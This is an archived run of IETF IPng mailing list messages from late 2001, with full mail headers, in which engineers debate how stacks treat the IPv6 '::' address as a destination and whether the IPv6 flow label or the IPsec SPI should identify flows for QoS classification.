Thu, 27 Dec 2001 10:55:48 -0800 From: Arthur Kepner To: Lilian Fernandes cc: ipng@sunroof.eng.sun.com Subject: Re: '::' address as destination In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk My interpretation is the literal one - that the unspecified address as a destination should produce an error. That is what happens on *BSD boxes, but Solaris seems to interpret :: as the loopback. What implementations use the first address on the interface? Arthur On Thu, 27 Dec 2001, Lilian Fernandes wrote: > Hello, > > RFC 2373 states that: > "The unspecified address must not be used as the destination address > of IPv6 packets or in IPv6 Routing Headers." > > However it seems that certain stacks are using this address in a different > way. > > When '::' is the destination address: > - some use the first available interface's address > - some use the loopback address > > Is there a chance that one of these will become the acceptable norm? It > would be interesting to know if the majority of implementations actually > return an error for this case. > > Thanks, > _____________________________________________________________________ > > Lilian Fernandes > AIX TCP/IP Development - IBM Austin > Tel: 512-838-7966 Fax: 512-838-3509 > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 11:05:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRJ5YZR022314 for ; Thu, 27 Dec 2001 11:05:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRJ5Y1t022313 for ipng-dist; Thu, 27 Dec 2001 11:05:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRJ5VZR022306 for ; Thu, 27 Dec 2001 11:05:31 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA01377 for ; Thu, 27 Dec 2001 11:05:32 -0800 (PST) Received: from roam.psg.com ([147.28.4.2]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA28087 for ; Thu, 27 Dec 2001 12:06:24 -0700 (MST) Received: from randy by roam.psg.com with local (Exim 3.33 #1) id 16Jfq5-0003Bj-00; Thu, 27 Dec 2001 11:05:13 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: James Kempf Cc: Brian E Carpenter , Scott Bradner , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112250049.fBP0n1d08852@newdev.harvard.edu> <3C2B1A46.8A982398@hursley.ibm.com> <006f01c18efc$cc055990$7e6015ac@T23KEMPF> Message-Id: Date: Thu, 27 Dec 2001 11:05:13 -0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > That IETF standardized usage of the flow label prior to actually > defining its semantics precisely seems kind of curious in any event. it's commonly called 'second system syndrome' which often produces a lot of ill defined and not demonstrably necessary 'features' randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 11:14:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRJEuZR022345 for ; Thu, 27 Dec 2001 11:14:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRJEu0B022344 for ipng-dist; Thu, 27 Dec 2001 11:14:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRJEqZR022337 for ; Thu, 27 Dec 2001 11:14:52 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA19025 for ; Thu, 27 Dec 2001 11:14:53 -0800 (PST) Received: from roll.mentat.com ([192.88.122.129]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA09033 for ; Thu, 27 Dec 2001 11:14:53 -0800 (PST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id LAA24366; Thu, 27 Dec 2001 11:15:40 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id LAA10574; Thu, 27 Dec 2001 11:15:40 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id LAA11008; Thu, 27 Dec 2001 11:20:46 -0800 (PST) Date: Thu, 27 Dec 2001 11:20:46 -0800 (PST) From: Tim Hartrick Message-Id: <200112271920.LAA11008@feller.mentat.com> To: ipng@sunroof.eng.sun.com, lilianf@austin.ibm.com Subject: Re: '::' address as destination X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Lilian, > > RFC 2373 states that: > "The unspecified address must not be used as the destination address > of IPv6 packets or in IPv6 Routing Headers." > > However it seems that certain stacks are using this address in a different > way. > > When '::' is the destination address: > - some use the first available interface's address > - some use the loopback address > > Is there a chance that one of these will become the acceptable norm? It > would be interesting to know if the majority of implementations actually > return an error for this case. > The convention used by BSD for IPv4 was to map INADDR_ANY to the address of the first available interface. At least that is what I see in the 4.4 BSD lite source for in_pcbconnect. I assume that both of the above described IPv6 behaviors are an attempt to emulate this IPv4 behavior. I see little upside in attempting to standardize this behavior since no fielded implementation will be able to change regardless of what behavior is standardized. tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 02:49:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSAn1ZR022957 for ; Fri, 28 Dec 2001 02:49:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSAn1Wb022956 for ipng-dist; Fri, 28 Dec 2001 02:49:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSAmwZR022949 for ; Fri, 28 Dec 2001 02:48:58 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA00573 for ; Fri, 28 Dec 2001 02:49:00 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA11061 for ; Fri, 28 Dec 2001 02:48:59 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBSAlJJ02013; Fri, 28 Dec 2001 17:47:20 +0700 (ICT) From: Robert Elz To: Randy Bush cc: James Kempf , Brian E Carpenter , Scott Bradner , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: References: <200112250049.fBP0n1d08852@newdev.harvard.edu> <3C2B1A46.8A982398@hursley.ibm.com> <006f01c18efc$cc055990$7e6015ac@T23KEMPF> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Dec 2001 17:47:19 +0700 Message-ID: <2011.1009536439@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 27 Dec 2001 11:05:13 -0800 From: Randy Bush Message-ID: | it's commonly called 'second system syndrome' which often produces a | lot of ill defined and not demonstrably necessary 'features' That's what IPv6 has deleted out of IPv4 .. NCP was the first system... kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 03:52:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSBqWZR023008 for ; Fri, 28 Dec 2001 03:52:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSBqV3L023007 for ipng-dist; Fri, 28 Dec 2001 03:52:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSBqSZR023000 for ; Fri, 28 Dec 2001 03:52:28 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA01679 for ; Fri, 28 Dec 2001 03:52:30 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA23203 for ; Fri, 28 Dec 2001 03:52:28 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA10168; Fri, 28 Dec 2001 12:52:23 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA27686 from ; Fri, 28 Dec 2001 12:52:20 +0100 Message-Id: <3C2C5CF5.9DF1E1B5@hursley.ibm.com> Date: Fri, 28 Dec 2001 12:52:21 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: ipng@sunroof.eng.sun.com Subject: Re: opacity of ESP References: <87u1ucy5qq.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk True enough. That's why the SPI may suffice for Intserv flow_specs, but it doesn't help for diffserv classification. Brian "Perry E. Metzger" wrote: > > There is this myth going around that you can't distinguish ESP traffic > by any external means, but that of course can't be true or you > couldn't figure out which keys to use to decrypt the traffic. The SPI > distinguishes the use of a particular keyset, and our usual dogma in > the IPSEC world is that you should try to avoid re-using keys across > flows, so in fact ESP traffic is not opaque for purposes of > distinguishing flows. The SPI will generally represent a flow (except > in the VPN case which has a myriad of its own problems.) > > -- > Perry E. Metzger perry@wasabisystems.com > -- > NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 12:27:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSKRYZR023222 for ; Fri, 28 Dec 2001 12:27:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSKRXug023221 for ipng-dist; Fri, 28 Dec 2001 12:27:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSKRUZR023214 for ; Fri, 28 Dec 2001 12:27:30 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA27303 for ; Fri, 28 Dec 2001 12:27:32 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12076 for ; Fri, 28 Dec 2001 13:27:31 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBSKRAw08931; Fri, 28 Dec 2001 12:27:10 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO94716; Fri, 28 Dec 2001 12:26:54 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA09287; Fri, 28 Dec 2001 12:27:27 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15404.54703.385314.958490@thomasm-u1.cisco.com> Date: Fri, 28 Dec 2001 12:27:27 -0800 (PST) To: "Perry E. Metzger" Cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87d7103btc.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> <87d7103btc.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > > Sorry, the SPI is no good for diffserv classification > > because it has no semantics. > > Neither does the flow label. Both are just a number that can be used > to distinguish a bunch of traffic flowing between two hosts from other > traffic flowing between two hosts. Neither has any semantics beyond > that. Bzzt. You're overloading semantics. SPI's enumerate the set of packets for which a given security policy applies. That may have exactly zero to do with the QoS policies you'd like to apply. > > I didn't say it makes no difference. I said that the difference is more > > likely to be in cost and waste heat than in speed. > > Given that the manufacturers who are doing this are already building > the transistors in to walk the header chain... By all means, let's just ignore silicon considerations. Moore's Law trumps all, obviously. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 13:11:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLBfZR023252 for ; Fri, 28 Dec 2001 13:11:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSLBeZm023251 for ipng-dist; Fri, 28 Dec 2001 13:11:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLBaZR023244 for ; Fri, 28 Dec 2001 13:11:36 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA03113 for ; Fri, 28 Dec 2001 13:11:39 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA17530 for ; Fri, 28 Dec 2001 13:11:38 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 37734D97C9; Fri, 28 Dec 2001 16:11:37 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> <87d7103btc.fsf@snark.piermont.com> <15404.54703.385314.958490@thomasm-u1.cisco.com> Date: 28 Dec 2001 16:11:37 -0500 In-Reply-To: <15404.54703.385314.958490@thomasm-u1.cisco.com> Message-ID: <87lmfndp86.fsf@snark.piermont.com> Lines: 42 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > Perry E. Metzger writes: > > > Sorry, the SPI is no good for diffserv classification > > > because it has no semantics. > > > > Neither does the flow label. Both are just a number that can be used > > to distinguish a bunch of traffic flowing between two hosts from other > > traffic flowing between two hosts. Neither has any semantics beyond > > that. > > Bzzt. You're overloading semantics. SPI's enumerate > the set of packets for which a given security policy > applies. That may have exactly zero to do with the > QoS policies you'd like to apply. In the scheme proposed, flow labels just enumerate a set of packets that a host has chosen to designate as a "flow" because, say, they're all using the same TCP socket -- which may also have exactly zero to do with the QoS policies you'd like to apply. How is it any different than the SPI situation? > > > I didn't say it makes no difference. I said that the difference is more > > > likely to be in cost and waste heat than in speed. > > > > Given that the manufacturers who are doing this are already building > > the transistors in to walk the header chain... > > By all means, let's just ignore silicon considerations. > Moore's Law trumps all, obviously. If they have to build tuple extraction into the hardware anyway to deal with the implementations that don't do flow labels (i.e any deployed in the next few years), how can we claim that we're going to get around people having to build hardware? Given that several vendors have already designed the hardware, how are we going to be helping? -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 13:48:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLmMZR023287 for ; Fri, 28 Dec 2001 13:48:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSLmMKs023286 for ipng-dist; Fri, 28 Dec 2001 13:48:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLmJZR023279 for ; Fri, 28 Dec 2001 13:48:19 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02699 for ; Fri, 28 Dec 2001 13:48:21 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA01163 for ; Fri, 28 Dec 2001 13:48:21 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBSLlmw02194; Fri, 28 Dec 2001 13:47:48 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO95851; Fri, 28 Dec 2001 13:47:28 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA09315; Fri, 28 Dec 2001 13:47:49 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15404.59525.580362.577015@thomasm-u1.cisco.com> Date: Fri, 28 Dec 2001 13:47:49 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87lmfndp86.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> <87d7103btc.fsf@snark.piermont.com> <15404.54703.385314.958490@thomasm-u1.cisco.com> <87lmfndp86.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > Michael Thomas writes: > > Bzzt. You're overloading semantics. SPI's enumerate > > the set of packets for which a given security policy > > applies. That may have exactly zero to do with the > > QoS policies you'd like to apply. > > In the scheme proposed, flow labels just enumerate a set of packets > that a host has chosen to designate as a "flow" because, say, they're > all using the same TCP socket -- which may also have exactly zero to > do with the QoS policies you'd like to apply. How is it any different > than the SPI situation? Again, security policy is not identical to QoS policy. The only way to make them identical is to have separate IPsec SA's for each QoS flow. This would be a huge waste, both on the signaling front as well as the SADB cost. And I don't see what TCP sockets have to do with anything; how a host OS allows packets to be marked is an API issue just like setting the DSCP. > > By all means, let's just ignore silicon considerations. > > Moore's Law trumps all, obviously. > > If they have to build tuple extraction into the hardware anyway to > deal with the implementations that don't do flow labels (i.e any > deployed in the next few years), how can we claim that we're going to > get around people having to build hardware? Given that several vendors > have already designed the hardware, how are we going to be helping? There's a huge difference between "building it in hardware" and "building it in hardware at speed". I have infinite optimism in the creativity of hardware geeks except for one thing: they always tell you what set of things fit into a die and that you get to choose which ones to delete when they don't all fit. The bigger you make certain modules the less you have for other things. In this case, fixed fields are good; linked lists are bad. Doable but bad is still bad. Also: you seem to be under the illusion that QoS classifiers are set in stone. They are not. I just took a quick look at SCTP: its ports are not in the same place as TCP/UDP; hence, hardware change. Each new IP protocol that we come up with will have the same problem. The flow label has the potential to stop that problem now and forever. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 13:50:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLo8ZR023304 for ; Fri, 28 Dec 2001 13:50:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSLo848023303 for ipng-dist; Fri, 28 Dec 2001 13:50:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSLo3ZR023296 for ; Fri, 28 Dec 2001 13:50:03 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA22873 for ; Fri, 28 Dec 2001 13:50:06 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA25088 for ; Fri, 28 Dec 2001 14:50:05 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id C9F97D97C9; Fri, 28 Dec 2001 16:50:04 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> <87d7103btc.fsf@snark.piermont.com> <15404.54703.385314.958490@thomasm-u1.cisco.com> <87lmfndp86.fsf@snark.piermont.com> <15404.59525.580362.577015@thomasm-u1.cisco.com> Date: 28 Dec 2001 16:50:04 -0500 In-Reply-To: <15404.59525.580362.577015@thomasm-u1.cisco.com> Message-ID: <873d1vdng3.fsf@snark.piermont.com> Lines: 29 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > Perry E. Metzger writes: > > Michael Thomas writes: > > > Bzzt. You're overloading semantics. SPI's enumerate > > > the set of packets for which a given security policy > > > applies. That may have exactly zero to do with the > > > QoS policies you'd like to apply. > > > > In the scheme proposed, flow labels just enumerate a set of packets > > that a host has chosen to designate as a "flow" because, say, they're > > all using the same TCP socket -- which may also have exactly zero to > > do with the QoS policies you'd like to apply. How is it any different > > than the SPI situation? > > Again, security policy is not identical to > QoS policy. The only way to make them identical > is to have separate IPsec SA's for each QoS flow. > This would be a huge waste, both on the signaling > front as well as the SADB cost. Er, you already in practice have an SPI for every flow. See my other message on this subject. .pm -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 28 14:02:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSM2HZR023341 for ; Fri, 28 Dec 2001 14:02:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBSM2HPZ023340 for ipng-dist; Fri, 28 Dec 2001 